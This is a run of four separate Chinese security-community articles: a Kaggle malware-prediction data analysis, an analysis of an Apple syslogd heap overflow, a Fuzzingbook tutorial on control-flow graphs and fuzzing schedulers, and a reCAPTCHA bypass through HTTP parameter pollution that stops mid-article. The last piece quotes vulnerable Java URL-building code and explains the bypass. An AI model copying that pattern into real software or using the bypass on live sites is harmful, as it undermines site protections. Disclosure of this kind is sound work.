这个Kaggle比赛是由微软联合美国东北大学、佐治亚理工学院共同推出的比赛，本次比赛的主题是恶意软件攻击预测。恶意软件行业仍然是一个组织有序、涉及资金量大的致力于规避传统安全措施的市场，一旦计算机被恶意软件感染，犯罪分子就会以多种方式伤害消费者和企业。微软用于超过10亿的企业和消费者客户，非常重视这一问题，并在提高安全性方面投入了大量资金。作为其整体战略的一部分，微软正在挑战数据科学技术用来预测机器是否很快就会被恶意软件攻击。与之前2015年的恶意软件挑战赛一样，微软正在为Kagglers提供前所未有的恶意软件数据集，以鼓励在预测恶意软件发生的有效技术方面取得开源进展。你能帮助保护超过10亿台机器免受损伤吗？
## 数据集
此次竞赛的目标是根据该计算机的不同属性预测Windows计算机被各种恶意软件感染的可能性。数据集是通过Microsoft端点保护方案和Windows
Defender收集的心跳和威胁报告组合生成的。此数据集中的每一行对应一台机器，由MachineIdentifier唯一标识。HasDetections是标签，表示在机器上检测到恶意软件。我们需要使用train.csv中的树形和标签，去预测test.csv中每台机器的HasDetections值。用于创建此数据集的抽样方法旨在满足某些业务约束，包括用户隐私以及计算机运行的时间段。恶意软件预测本质上是一个时间序列问题，但由于引入了新机器，在线和离线的机器，接收补丁的机器，接收新操作系统的机器等，它变得很复杂。虽然此处提供的数据集已经过大致按时间划分，上述问题和抽样要求可能导致交叉验证分数在公榜和私榜之间存在一些差异！此外，该数据集并不代表微软客户的机器；它已被抽样以包含更大比例的恶意软件机器。
其中，比赛一共给了三个数据文件，分别是：
* sample_submission.csv：格式正确的提交示例
* test.csv：测试集
* train.csv：训练集
给出的特征的含义：
* MachineIdentifier：机器ID
* ProductName：Defender状态信息，例如：win8defender
* EngineVersion：Defender状态信息，例如：1.1.12603.0
* AppVersion：Defender状态信息，例如：4.9.10586.0
* AvSigVersion：Defender状态信息，例如：1.217.1014.0
* IsBeta：Defender状态信息，例如：false
* RtpStateBitfield：NA
* IsSxsPassiveMode：NA
* DefaultBrowserIdentifier：机器默认浏览器的ID标识
* AVProductStatesIdentifier：用户的反病毒软件特殊配置的ID标识
* ......................................................
* Census_ProcessorCoreCount:统计_处理器核数
* Census_OSVersion:统计_系统详细版本号,例如10.0.0130.0
等等，一共83个属性。
## 提交要求
这个比赛使用的是[ROC曲线下的面积AUC](http://en.wikipedia.org/wiki/Receiver_operating_characteristic)来评价模型。最后提交的文件为csv格式，它包含MachineIdentifier和HasDetections两列，第一列是机器的id，后一列是预测被感染的概率。
# 0x02 探索性数据分析（Exploratory Data Analysis）
在进行建模之前，我们都会对原始数据进行一些可视化探索，以便更快地熟悉数据，更有效进行之后的特征工程和建模。我们先导入一些EDA过程中所需要的包：
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import os
其中numpy和pandas是数据分析处理中最流行的包，matplotlib和seaborn两个包用来绘制可视化图像。
## 数据初探
使用pandas打开训练集train.csv,因为训练集大小为4.4G,pandas读取大文件有几种方式，比如read_csv函数有个参数chunksize，通过指定一个chunksize分块大小来读取文件。这里用到另一个读取大文件的trick，预先指定csv文件中每一列的数据类型，这样pandas就不会在读取csv文件时按照默认数据类型来读取csv列数据，比如指定csv文件中某列数据为category类型，pandas读取此列时就会使用我们指定的数据类型读取此列数据，而不是使用默认的objects类型，可以节省较大内存空间。
取前五行观测，
我们可以看到给定的数据中主要包含各种类型的特征，有数值型特征和类别型特征，观察数据类型，正好对应刚才的trick中指定的数据类型。
看一下训练集和测试集分别有多少
## 目标变量
在深入探索之前，我们先看看目标变量HasDetections
可以看到正负样本均衡
## 数值型特征
先看一下数值型特征的一些统计特征
其中min=0，max=1的特征值是0/1型的二值化特征，总共有20个
## 类别型特征
### 平台Platform
先看看platform的分布
再看看不同HasDetections的Platform分布
### 产品名称ProductName
看一下不同HasDetections的ProductName分布
看一下已被感染的ProductName分布比例情况
### 电池类型Census_InternalBatteryType
作图发现电池类型大多数都是锂离子电池，对于HasDetections的区分度贡献很小。直观来想，恶意软件的攻击对于锂离子电池的机器不会有所偏好吧。
可以看到这几个类别型特征对于区分HasDetection作用并不是很大，需要我们分析的还有很多。
# 0x03 Baseline
lightGBM可以直接处理category型数据和缺省值数据，直接用lightGBM训练训练集数据，共计81个特征，先训练个基模型。
def modeling_cross_validation(params, X, y, nr_folds=5):
clfs = list()
oof_preds = np.zeros(X.shape[0])
kfolds = StratifiedKFold(n_splits=nr_folds, shuffle=False, random_state=42)
for n_fold, (trn_idx, val_idx) in enumerate(kfolds.split(X, y)):
X_train, y_train = X.iloc[trn_idx], y.iloc[trn_idx]
X_valid, y_valid = X.iloc[val_idx], y.iloc[val_idx]
print("Fold {}".format(n_fold+1))
model = lgb.LGBMClassifier(**params)
model.fit(
X_train, y_train,
eval_set=[(X_valid, y_valid)],
verbose=200, eval_metric='auc',
early_stopping_rounds=150
)
clfs.append(model)
oof_preds[val_idx] = model.predict(X_valid, num_iteration=model.best_iteration_)
score = roc_auc_score(y, oof_preds)
print(score)
return clfs, score
本地预测测试集，本地最好AUC为0.666744，最终Kaggle公榜分数为0.678，暂时排名70/314。看一下前面队伍的分数，第一名的分数是0.694，第十名的分数是0.688，其他的分数主要集中在0.678，多达30-40人，分数差距并不大，猜想是因为大家处理数据的方式大同小异，都是直接塞到模型里训练，没有真正的做数值类型和类别类型特征的特征工程，我暂时也没有什么好的处理方式，接下来想用NLP来试试。很难得有安全数据分析比赛，有没有安全数据分析的老铁一起组队呀。Baseline代码在[AI
for Securit Testing](https://github.com/404notf0und/AI-for-Security-Testing)。
# 0x04 Reference
<https://www.kaggle.com/c/microsoft-malware-prediction>
<https://www.kaggle.com/theoviel/load-the-totality-of-the-data>
<https://www.kaggle.com/delayedkarma/the-story-so-far-lb-0-673>
<https://plushunter.github.io/2017/06/13/kaggle%E7%B3%BB%E5%88%97%EF%BC%882%EF%BC%89%EF%BC%9ARental%20Listing%20Inquiries%EF%BC%88%E4%B8%80%EF%BC%89%EF%BC%9AEDA/> | 社区文章 |
# Apple逆向工程中的sysloged bug
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://reverse.put.as/2016/01/22/reversing-apples-syslogd-bug/>
译文仅供参考，具体内容表达以及含义原文为准。
两天前,苹果公司(Apple)发布了OS X El Capitan(Mac
OS)的10.11.3更新版,同时更新了Yosemite和Mavericks两款Mac操作系统的安全服务。(Yosemite:OS X
Yosemite(优胜美地)是2014年6月苹果在全球开发者大会—WWDC
2014,发布的新一代Mac操作系统,版本号为10.10;Mavericks:OS X Mavericks(冲浪湾)是苹果在2013年WWDC发布的OS X
操作系统,版本号为10.9)在发布的公告中,Apple提到了其中存在的9个安全问题。他们之中的大多数都涉及内核或IOKit驱动。最后一个是关于syslog的内存泄漏问题。当黑客攻入某一台Mac时,它可让黑客利用Mac中的root特权来实施管制代码执行(arbitrary
code execution)。我对这个bug很感兴趣的原因是,它涉及到了一个叫 syslog日志维护进程。
这篇文章介绍的是如何找到该漏洞并进行防护。非常不幸的是,对于安全服务更新的说明,苹果公司只是一笔带过,并没有给出更多具体的描述。比如:在默认的OS
X安装程序中,是否存在该bug,会被黑客利用;或是需要某些特定条件,才能利用该bug。苹果公司对这些疑问都没有给出相应的说明。接下来我们将会看到,在默认的OS
X安装程序中,根本无法利用该bug。
苹果公司都对许多OS
X中组件的源代码进行了开源,但很多时候,这些源代码在发布时间上,都会有明显的推迟。于是我们需要使用二进制的diff命令,来找出更新文件和漏洞文件之间的差异。我们通常选用的工具是BinDiff,但也有另一种选择,就是由Joxean
Koret开发的工具—Diaphora。这两者都需要用到IDA(IDA:源码恢复反汇编静态分析工具,是一个极好的反汇编工具。)而在本文中,我们将会用到的是Diaphora。为此,我们需要一个漏洞文件的副本和补丁文件的副本。最简单的获取方法就是:在更新安装之前,将syslogd日志文件进行复制。(该文件所在路径:/usr/sbin/syslogd)(通常在虚拟机上,保存每个版本的快照,也是一个不错的选择)或是从El
Capitan,Yosemite,Mavericks的更新安装包中提取新的文件。本文将会重点介绍Yosemite文件。
生成一个数据库,并比较其存储内容,这就是Diaphora的工作原理。通过Diaphora,对10.11.2和10.11.3两个版本的syslogd文件进行比较,我们会得到下面这样一个警告:
上图显示,这两个文件极其的相似,要求我们要找出其中最细微的差别。而到目前为止,我们只发现了一个变化,它的输出过程如下:
这实在是很微妙的差别。类似的源代码如下:
reallocf(pointer, value + 4);
类似补丁文件代码:
reallocf(pointer, value * 4 + 4);
El Capitan
10.11.2的syslogd源代码包可在后面这个地址下载到(https://www.opensource.apple.com/tarballs/syslog/syslog-322.tar.gz)。定位这个函数的最简单方法就是,调用grep函数,来查找到这样一个字符串:“add_lockdown_session:
realloc failedn”,点击syslogd.tproj/dbserver.c.,进行查看。该函数的源代码如下:
利用上述函数实现的功能,我们可以更容易地对漏洞进行研究。补丁是放在分配了大小的reallocf()中。当触发漏洞时,fd变量就会被写入锁定会话的fds数组中。在reallocf()中分配的内存空间是错误的,因为它只是为一些锁定会话提供了内存空间,而并不是为每一个会话提供足够的内存空间。下图展示的是来自Zimperium的分析,完美地展示了堆溢出和堆损坏的过程。
在他的示例中,进行第三次连接时,就发生了堆损坏。而在我的测试中,多次连接之后,才会发生堆损坏。(相比于Zimperium,在我绝大部分的测试时间里,都遇到了这种系统崩溃的情况,并且是在不同情况下的测试中发生的,但同时我也对OS
X进行了测试)。
开发人员在编写这页代码时,犯了一个小错误。通过简单地添加一组括号就能解决该错误。
Tip:C语言的功能是很强大,但作为一个开发人员,犯了这种语言错误,就可以说是很不应该的了。
到此,我们就已经知道了这个漏洞在哪儿,以及如何进行修复。接下来的问题就是,我们如何实现这个功能。以下是部分添加锁定会话的调用图:
从最初的函数名来判断,该漏洞攻击可以通过本地(unix socket)或是通过TCP
socket远程实现。在安全公告中,提到的是来自本地用户的攻击。官方是说,可在/System/Library/LaunchDaemons/com.apple.syslogd.plist路径下进行查看配置。我们只能对syslog
unix socket进行了研究:
这表明,除非用户操作不当,才会产生漏洞。而一般情况下,在OS X的默认配置中是不存在漏洞的。
不幸的是,苹果公司在公告中并没有提到这一点。这就让人感到很滑稽。特别是对于那些还在用着无法更新的老系统的苹果用户来说,更是如此。我们需要进行更深层次的研究,弄清怎么样才能在OS
X中激活这一特性。因而我们尝试着复制这个漏洞。远程acceptmsg
tcp()函数看似是一个不错的选择。在查看了源代码之后,我们会发现,该函数实现的一个有趣功能:
这个就是能够激活远程功能的函数,它能让我们获得漏洞代码。“#ifdef”的功能是,让我们可以通过检查二进制,来校对我们是否将其转换为最终的二进制。
将远程函数remote_init()的结果进行分开输出,表明只有tcp()函数是被编译了的。这就意味着我们能在本地或者远程,根据用户配置的相关信息,利用tcp嵌套函数来获取漏洞代码。远程tcp函数负责创建和绑定监听接口,即:一个叫做acceptmsg
tcp的函数。我们在第一张使用了多线程优化技术(Grand Central Dispatch)的图中可以看到
然而,我们仍就不知道如何激活远程功能。下一步就是研究下远程init函数。它有两个方面的内容,其中最有趣的是初始化模块init modules()。
如果当攻击目标不是iOS模拟器,或是远程局部变量决定默认设置的启用状态时,远程模块提供的支持就能够被编译成二进制的syslodg文件。其默认值为零,这意味着远程功能默认为是禁用的。这就是另一个证据,证明在默认的OS
X配置中不存在漏洞。
最后,初始化模块被主函数调用。我们在主函数中可以找到,如何激活这一特性的最后线索。
在主函数中,我们发现一些有趣的事情,并能够最终确定OS
X的默认安装程序是否真的存在漏洞。首先,我们可以看出:以上代码实现的就是,可在嵌入式操作系统中,启用默认的远程功能,比如在Apple
TV中就有该功能。在iPhone中,如果你想使用这一功能,那么还要进行一个选项配置。最后一个是非法远程命令行选项,它的功能是在任何的苹果操作系统中,都可以启用远程特性。
为了激活这个功能,我们需要编辑syslogd运行的配置文件(建立在这个路径下:/System/Library/LaunchdDaemons/com.apple.syslogd.plist,通常为二进制格式,但可以使用plutil转换,将文件名转换为xml1。)程序说明和接口字键的修改如下:
因为运行选项控制着接口,就需要我们对含有远程监听syslogd的接口,进行配置。(定义了一个ASL远程203端口)在重新定义功能和载入syslogd文件之后,我们就可以连接到203端口了。
漏洞是通过使用watch命令来触发。如果我们在带有锁定会话的代码中,加上一个代码调试器和一个代码断点,
当我们使用watch命令时,在断点处就无法进行代码修改,命令也无法执行。这个代码实现的就是这个功能。
watch解锁只在该会话的一个地方进行了设置:
会话锁定标识是该会话模块中的唯一会话参数传递标识。
我们终于可以得出结论:为什么在安全公告中会提到本地用户了。
这意味着会话锁定标识只设置在了本地连接中,而不在远程tcp连接中。这就是我们在OS X
syslogd文件中要实现的特性。远程调用函数acceptmsg()很好地说明了这一点。
结论为:即使用户配置了远程功能,在OS
X中也没有代码路径来触发这个bug。测试这个bug的唯一方法就是,添加syslogd文件(或者打补丁)以及删除上述条件(我们也可以在会话中打补丁,这要更容易些。)接下来,我们就只需要一台小型的tcp服务器,能给203端口发送连接请求和watch命令。但最终,syslogd文件会失效。
当然,要进一步研究这个漏洞,也不是很容易的事。因为我们还没有完全掌握fd这个变量的用法。一旦错误使用,它就会对原来的数组进行重新分配,导致日志文件出错。
最后一点是,El Capitan中的漏洞已经被修复了,而在Yosemite和Mavericks更新的安全服务中,该漏洞还没有被修复。我们之前所见的是,在El
Capitan中没有相应漏洞代码的执行路径,但奇怪的是,在以前的旧版本上,也没有打代码补丁。在很多时候,苹果公司的安全维护措施,实在是让人感到费解。
文章行至结尾,我们可以得出结论:在OS X的这个漏洞(sysloged
bug)上,实在没有太多让人兴奋的兴奋点,同时对于iOS开发来说,这也不算是一个很大的障碍。它只是一个有趣的反向工程和一次源代码分析训练而已,能够帮助我们在OS
X上更好地理解漏洞带来的威胁。如果苹果公司能在其安全服务公告中,披露更多的相关细节,我们也就没必要来进行这次代码训练了。
感谢pmsac和qwertyoruiop对草案发布评审工作的支持,并提供了开发讨论的机会。
另注:生成调用图的工具是来自http://www.scitools.com. 。它是在浏览和审核大型项目时,可以给予你很大帮助的一款工具。 | 社区文章 |
# Fuzzingbook学习指南Lv3
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上篇文章中我们讲到了输入的“变异”以及选择“变异”模式的一些心得，这篇文章我们就来看看实现模式选择的一些技术细节。同时我们也要跳出单一路径的思想，让我们的fuzzing找到更多的路径。
## CFG
cfg是程序控制流图（control flow
graph）的简写，说大白话就是将程序按照if、else、while、函数调用等进行“分块”，然后根据调用顺序连线即可，就类似我们生活中用到的流程图。搞逆向的小伙伴应该不陌生，ida
pro就会对逆向的程序进行解析，并生成对应的cfg。对于程序来讲，我们经常通过构建cfg的方式来了解程序的执行过程并进行分析。可以想象，如果你可以绘制程序的cfg，那上一篇文章中提到的许多技术都可以轻松实现。
考虑到难度，我们还是以“白盒”测试为主，毕竟ida
pro那样能对“黑盒”程序还原cfg的技术距离我们还是很遥远的。fuzzingbook给出了自己的cfg生成class来对python程序进行流程分析，但是没有做解释说明，我们就以它的实现为例来一边复现一边学习，详细代码大家可以在[这里](fuzzingbook.org/html/ControlFlow.html)查看。
import ast
import inspect
import astor
src = inspect.getsource(cgi_decode)
print(src)
test = ast.parse(src)
print(ast.dump(test))
inspect是python自带的module，它用于检查指定程序的相关信息，我们调用的getsource函数能够获得程序的源码，这里使用的cgi_decode就是我们上一篇文章中用到的函数。
ast是抽象语法树（Abstract Syntax
Trees）的简写，python的这个模块能将读取到的代码进行解析，根据语法生成树状结构，方便我们了解程序的执行流，我们只需要调用ast.parse就可以完成语法分析的工作。它主要分为两个部分：
* 词法分析，它将程序的每一个字符串都会标记为对应的“身份”（比如变量、关键字），形成一条流状结构
* 语法分析，将流作为输入，按照语法对其进行解析，形成树状结构
我们简单写一个if else的小程序来简单说明一下：
def easy_if(a):
if a>10:
return False
else:
return True
对于这个程序来说：
* def就是function define的关键字，后面的easy_if是对应的函数名字，后面括号，那么括号里面的a就是参数
* 往下是if，是关键字，if后面就应该是一个比较的句子，那么对句子再进行分析：
* a是左值
* 大于号是比较运算符
* 10是右值
* return返回语句
* else，后面不用接东西
* return返回语句
进行简单的“重装”（比如把def、函数名、参数扔到一块）程序很简单，一直是直线结构，直到ifelse出现了分叉，当然，我们也不用存储if的分叉，我们可以值存储if和if的条件作为一个块，而具体的分支作为块中的块。这样形成一种带有递归思想的结构。如果更进一步，我们还可以对于每个module，我们都把函数作为module块中的一部分，在我们解析时，调用module块，然后就可以找到函数块，函数块中代码块，代码块中有ifelse和循环块，这样就形成了套娃结构。这样说可能会让你听的有些迷糊，我们来看看图片就明白了
如下所示是树状结构，块与块分离：
如下所示，块与块有关系：
如果你学过编译原理，那么你对上面的过程一定不陌生，这实际上也是编译器在编译代码的时候要干的活，本质上都是理解程序的“意思”，我们这里使用的ast.parse就自动为我们干了。实践中我们直接调人家写好的工具即可。如果你只是想了解一下这部分内容，看懂fuzzingbook的实现，到这就可以过了，如果你想自己去写，那还是要去系统学习的。
我们打印一下，输出结果如下：
Module(
body=[FunctionDef(name='easy_if', args=arguments(posonlyargs=[], args=[arg(arg='a', annotation=None, type_comment=None)],
vararg=None, kwonlyargs=[], kw_defaults=[], kwarg=None, defaults=[]),
body=[If(test=Compare(left=Name(id='a', ctx=Load()), ops=[Gt()], comparators=[Constant(value=10, kind=None)]),
body=[Return(value=Constant(value=False, kind=None))], orelse=[Return(value=Constant(value=True, kind=None))])], decorator_list=[], returns=None, type_comment=None)], type_ignores=[]
)
对照我们上面的分析，你应该很容易看懂module的结构，它记录的信息非常详细。与我们上面的套娃结构类似，我们可以通过循环的形式，不停的拿到中号套娃、小号套娃，进而实现程序结构的遍历。
接下来我们着手构建我们自己的节点类，把ast为我们解析到的内容拉到我们的树上来，为的是能够自定义我们的cfg输出的信息、增添接口等。
class CFGNode(dict):
def __init__(self, parents=[], ast=None):
assert type(parents) is list
register_node(self)
self.parents = parents
self.ast_node = ast
self.update_children(parents)
self.children = []
self.calls = []
我们先只看关键部分，节点定义parents来保存节点的父节点，children来保存子节点，update_children函数用来将自己添加到父节点的children中，实际上就是在模拟ast的node结构。
class PyCFG:
def __init__(self):
self.founder = CFGNode(
parents=[], ast=ast.parse('start').body[0])
self.founder.ast_node.lineno = 0
self.functions = {}
self.functions_node = {}
我们的cfg类则是首先会创建一个founder的node节点，作为初始节点，然后我们的任务就是往上挂后续的节点。启动代码如下：
cfg = PyCFG()
cfg.gen_cfg(fnsrc)
'''
def gen_cfg(self, src):
node = ast.parse(src)
nodes = self.walk(node, [self.founder])
self.last_node = CFGNode(parents=nodes, ast=ast.parse('stop').body[0])
ast.copy_location(self.last_node.ast_node, self.founder.ast_node)
self.update_children()
self.update_functions()
self.link_functions()
'''
我们创建cfg对象后，就对源代码进行ast.parse操作，然后进行walk，即游走操作，在节点间游走，就相当于是遍历ast结构了，游走中会将node不断挂在树上，最后再挂上stop节点，就算是大功告成了。所以重点就是walk操作了，我们看看它的代码：
def walk(self, node, myparents):
fname = "on_%s" % node.__class__.__name__.lower()
if hasattr(self, fname):
fn = getattr(self, fname)
v = fn(node, myparents)
return v
else:
return myparents
首先它得到了`node.__class__.__name__`，其实这就是我们上面看到的body的“名字”，比如我们的def语句对应的就是FunctionDef，我们通过getattr函数从节点获取这个“函数”，我们做个类似hook的操作，自己在节点类中定义对应的functiondef函数，这样，getattr获取的函数就是我们自己写的函数，我们就可以对每一个节点做我们自己的操作了。总结起来就是下面的流程：
* 找节点
* 调用节点名称对应的函数
* 重复知道结束
可以看到，我们需要写出ast所有语句名字对应的函数，并对函数进行符合语句语意的编写，这是最难的地方，比如我们看一下on_module操作的代码，它代表了一个module的开始：
def on_module(self, node, myparents):
p = myparents
for n in node.body:
p = self.walk(n, p)
return p
它实际上就是在遍历自己的body，去游走body中的其他节点。在我们的例子中，它会进入到on_functiondef函数中，它的流程也类似：
* 保存函数名、传入参数等信息
* 生成函数开始的节点，方便我们后续使用
* 生成函数结束的节点，同上
* 遍历它的body找到函数中的其他语句
* 一些其他操作
对于每一种语句，我们都需要编写这样的函数，这需要你对ast结构非常熟悉，这里就不再展开了。除了这些必须要写的，我们还可以保存一些自己的结构，用来定制我们的cfg，比如对于每一句代码，我们可以维护一个coverage，用来统计我们这一行代码走过的次数，我们还可以维护一个全局的cfg来保存我们程序走过的总流程，保存一个局部的cfg来测试我们的模式的性能，后续我们还会用cfg来计算函数的距离等等，可以说只要有了这个的基础，我们就可以玩出花来了。
大家可以看看fuzzingbook的代码，在这基础上进行自己的修改，不建议自己重写，一方面确实是代码量比较大，一方面涉及到ast的知识门槛比较高，大家在基础上定制就好了，至于后续绘图什么的，只需要调用绘制图形的module即可。对于非python类程序，其实只有有源码，按照上面的思路，都可以得到抽象语法树，这里就不再赘述了。
## 调度器、路径执行率与多路径
上一篇文章中我们提到了要选择模式，但是选择模式就需要对每个模式的变异结果进行统计学分析，看看哪些模式能够获得更好的效果（注意哦，这里我可没说是代码覆盖率，答案在后面揭晓），我们假设我们现在有三个模式：
population = ["anquanke.com", "1999.10.05", "asa9ao"]
我们在初始情况下，不知道三者的代码覆盖率，我们就按照1:1:1的概率分配，简单写一个调度器：
import random
class PowerSchedule(object):
def choose(self, population):
pos = random.randint(0, len(population)-1)
return population[pos]
这样我们就可以随机选择一个模式来进行变异了，我们可以把它继承到Fuzzer类中，现在我们的fuzzer类就有了变异、调度、模式存储的能力，我们的fuzzer在三个模式的基础上进行变异，而三个模式的原始语意都不相同，这里的语意指的是模式的结构所代表的含义，比如说，anquanke.com代表了网址，第二个则是出生年月，如果语意不同，那在此基础上进行“小”变异，得到的一般是符合该语意的字符串，比如ansdadda.com，虽然看不出它是啥网站，但是它确实是个网址的语意；如果“大”变异，或者”小“变异多了，也会产生新的语意，但新的语意一般不可控，所以最可靠的还是我们基础的模式，我们现在有了这三种模式，这样我们生成的变异结果就更加多样了。
class Fuzzer():
def __init__(self, seeds, mutator, schedule):
self.seeds = seeds
self.mutator = mutator
self.schedule = schedule
当然了调度器不可能这么简单，我们可以改进一下，比如，我们为每个模式设置energy变量，初始默认为1，如果这个模式被证明有效，那就对energy进行放大，然后我们根据energy来进行调度，比如我们使用softmax：
这个函数是归一化指数函数，它可以将我们的一堆energy转换为概率，你的energy越大，概率就越大，比如，我们的energy序列为[`1.0`,
`2.0`, `3.0`, `4.0`, `1.0`, `2.0`, `3.0`]，我们在计算softmax之后的结果就是[0.024, 0.064,
0.175, 0.475, 0.024, 0.064,
0.175]，我们可以通过这种方式依照概率选择合适的模式。当然你也可以使用其他归一化函数来处理energy，softmax比起其他归一化函数最大的特点是它会让强者更强，弱者更弱，但缺点就是在大小差距过大时，小的energy对应的模式被选到的可能性就几乎为0了（当然这也可以是优点，后续会提到）。
用energy来计算概率是个很好的方式，但我们还需要处理如何放大或者缩小energy这个问题，fuzzingbook上给出的方案是将路径保存下来，然后检测这条路径走了多少遍，走的越多，你的energy就越少，公式如下：
p函数用来得到模式s对应的路径，f函数检查这路径走了多少遍，a是超参数，只要是正的就行，具体取值可以在实践中不断修改。总体来看，这是一个减函数，对应的语意就是：一条路径走的越多，它的energy就越小，而路径就是对应模式的，其实就是模式如果“僵化”了，那就降低这个模式的概率。
我们来看一下代码：
def getPathID(coverage):
pickled = pickle.dumps(coverage)
return hashlib.md5(pickled).hexdigest()
这是p函数，他把我们走过的路径用pickle模块（机器学习经常用它保存训练好的模型，它用序列化的形式将数据保存）进行保存，返回对应的md5值作为id，要注意，如果路径一样的话，保存的实际上是一个东西，所以md5也一样，同样的路径返回的id必然一样，这样实际上我们就有了对应coverage的唯一标识，我们可以用它作为key做一个字典。
id_dic = {}
def getIdFreq(id):
id_dic.setdefault(id,0)
id_dic[id]+=1
return id_dic[id]
这是f函数，它根据上面的md5查到对应的频率，当然，每查一次我们可以认为这条路径又被调用了一遍，所以给他的频率++。
把这些加到PowerSchedule类中，我们的调度器就初具雏形了。不知道你看到这里有没有疑惑，为什么在这里我们选择模式没有考虑到代码覆盖率的问题，反而是在让路径重复越多的模式调用的反而越少呢？这实际上让我们的fuzzing有了更强的“探索性”，比如下面的例子：
if 输入==a:
200行代码
elif 输入==b：
100行代码
我们假设a、b两个变量是正交的，ab之间没有关系（即用一个模式的变异结果只能得到a、b中的一个），那么如果我们选了a模式，代码覆盖率是200，b模式是100，如果盲目追求一个模式的话，就会导致我们永远在a代码中打转，一辈子测试不到b代码，但显然这两者我们都应该是要测试到的，所以简单的考虑代码覆盖率，最终的结果就是我们cfg的一条路径上卡死。在实际中，虽然不可能存在正交的字符串，但是模式语意之间的转换是非常困难的，就像是anquanke.com到出生年月，如果你只选择了前者，那你想找到出生年月的模式可是要费一番功夫，这种情况只考虑代码覆盖就显然有问题了。
我们引入调度器后，实际上是引入了路径执行频率的概念，即，每一条路径执行的次数，我们上面调度器的公式也可以看作是路径执行频率的倒数，目的就是为了让不经常执行到的代码能够执行，最终将各个代码的运行次数处于一个比较平衡的区间。
这就又有一个问题：模式怎么生成新的呢？我们一直在聊模式选择，也给出了几种方案，但都是在指定的模式的基础上进行选择或者在复杂的算法基础上的，模式如果以这种形式进行增殖，那迟早会“饿死”的情况（模式越选越少，或者是选到一定数量就没办法再选新的了），为了解决这个问题，我们需要大量“垃圾”模式来“养蛊”，我们可以用这样的代码来不断增加”垃圾“模式：
while True:
if i==10:
将fuzzing字符串添加到模式
i=0
else:
i++
如此，我们可以快速扩充我们的模式，而模式由于收到变异的影响，会诞生越来越多相差十分大的模式。我们还可以采取“大”变异来加速生成新模式。
while True:
if 该加新模式了：
多次变异
else:
普通变异
模式从最开始的anquanke.com会慢慢变成hello
world等各式各样的字符串，我们会得到越来越多的语意，而垃圾模式又会因为我们的调度器，生成的概率越来越低，如果低于某个阀值的话，我们可以把它去掉，如此以来，我们就会得到一系列较为理想的模式，找到程序对应的语意。
而为什么我说使用softmax呢？因为softmax在energy差距较大的时候，直接将energy小的模式的概率算成无限接近于0，也就省下了我们设置阀值清除垃圾模式的步骤了。
## 总结
这篇文章中我们学习了fuzzingbook中提出的cfg实现方法，有了能够构建程序流图的能力，引入了调度器与路径执行频率的概念，让我们的fuzzer有了多路径探索、模式更新的能力，fuzzing初具雏形，下一篇文章中我们将聚特定路径探索的问题，帮助我们fuzzing再度升级。 | 社区文章 |
> 先知原创作者翻译：[原文链接](https://andresriancho.com/recaptcha-bypass-via-http-> parameter-pollution/ "原文链接")
## 摘要
在今年一月下旬，我向Google提交了一个reCAPTCHA认证绕过漏洞。当然，该漏洞的前提条件是，采用reCAPTCHA认证机制的Web应用程序以不安全的方式构造提交给/recaptcha/api/siteverify的请求；并且，只要符合这一条件，攻击者总能成功绕过reCAPTCHA认证机制。由于这个安全问题是通过修改Google的reCAPTCHA
API进行修复的，所以，使用该认证机制的Web应用程序无需进行任何修改。
## 关于reCAPTCHA
reCAPTCHA是Google提供的一种服务，借助该服务，Web应用程序开发人员就可以轻轻松松地为网站添加[CAPTCHA](https://en.wikipedia.org/wiki/CAPTCHA
"CAPTCHA")功能了。然而，reCAPTCHA本身却并不简单，它提供了多种使用方式：有时，它会根据cookie对用户进行验证；有时，它会要求你解决多重“挑战”。下面我们来介绍与本文涉及的漏洞有关的使用场景。
当Web应用需要“刁难”用户时，Google会提供一个图像集，并通过JavaScript代码在浏览器中显示这些图像集，具体如下所示：
之后，用户需要做出相应的选择，并点击“Verify”按钮，这将触发对Web应用程序的HTTP请求。该HTTP请求的内容具体如下所示：
POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response={reCAPTCHA-generated-hash}
该应用程序需要通过向Google reCAPTCHA API发送一个POST请求来验证用户的响应：
POST /recaptcha/api/siteverify HTTP/1.1
Content-Length: 458
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
该应用程序需要使用{application-secret}对自身进行身份验证，并将{reCAPTCHA-generated-hash}发送到API以查询响应。如果用户的答案是正确的，那么API将返回下列内容：
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
"success": true,
"challenge_ts": "2018-01-29T17:58:36Z",
"hostname": "..."
}
Web应用程序会接收并处理上述内容，并根据处理结果授予用户相应的资源访问权限。
## HTTP参数污染
[HTTP参数污染](https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_\(OTG-INPVAL-004)
"HTTP参数污染")几乎无处不在：从客户端到服务器端，不过，该漏洞的危害性却很大程度上取决于漏洞所在的上下文——在某些特定情况下，它可能导致危害巨大的数据泄露问题，但在大多数情况下，它只是一个低危漏洞。
reCAPTCHA绕过漏洞的前提条件，是相应的Web应用程序中存在HTTP参数污染问题。正是由于这个限制条件，导致Google严重低估了该漏洞的危害程度。
[这里](https://github.com/ibalejandro/swt15w9-1/blob/6ae70c38a09b0235f0f1d4bb66f7953db96ddc63/prototypes/goods%26user/src/main/java/userManagement/CreateNewUser.java#L92-L96
"这里")有一个包含reCAPTCHA绕过漏洞的Web应用程序示例：
private String sendPost(String CaptchaResponse, String Secret) throws Exception {
String url = "https://www.google.com/recaptcha/api/siteverify"+"?response="+CaptchaResponse+"&secret="+Secret;
URL obj = new URL(url);
HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
其中，字符串连接用于构建 _url_ 变量。
需要注意的是，在Google方面，如果向其发送这两个HTTP请求的话，会得到相同的响应：
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}
reCAPTCHA API总是使用请求中的第一个secret参数，并忽略第二个secret参数。虽然这不是一个漏洞，但是，却可以被攻击者所利用。
## 最后一块拼图
